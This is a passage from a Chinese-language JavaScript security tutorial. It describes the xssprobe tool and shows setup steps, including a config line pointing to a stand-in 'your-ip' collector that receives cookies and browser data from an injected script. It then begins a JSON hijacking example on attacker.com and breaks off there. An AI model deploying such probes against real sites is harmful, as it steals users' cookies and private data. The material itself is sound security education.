【网络安全】从浏览器到服务端讲JavaScript安全

未经许可，不得转载。
原作者余弦，本文对原文进行二次创作。

基本隐私收集

XSS探针

项目地址：

https://github.com/evilcos/xssprobe

用途：获取目标网站的通用数据，包括 referer、location、toplocation、cookie、domain、title、screen、flash 、browser、ua、lang 等。

使用步骤

1. 对 probe.js 进行修改，将 http_server 配置为自己的 probe.php 网址，格式如 http_server = “http://your-ip/xssprobe/probe.php?c=”; 。

2. 在目标页面中嵌入 probe.js 脚本，具体操作可参考 demo.html。

例图：

JSON 劫持

JSON 是一种常用于数据交换的轻量级数据格式，因使用方便，深受前端工程师喜爱。然而它容易被劫持。

假设 www.attacker.com/json.html 存在如下代码块，定义了一个名为 func 的函数，该函数会将传入对象中 userinfo 下的 userid 信息输出到页面上。后面通过 &l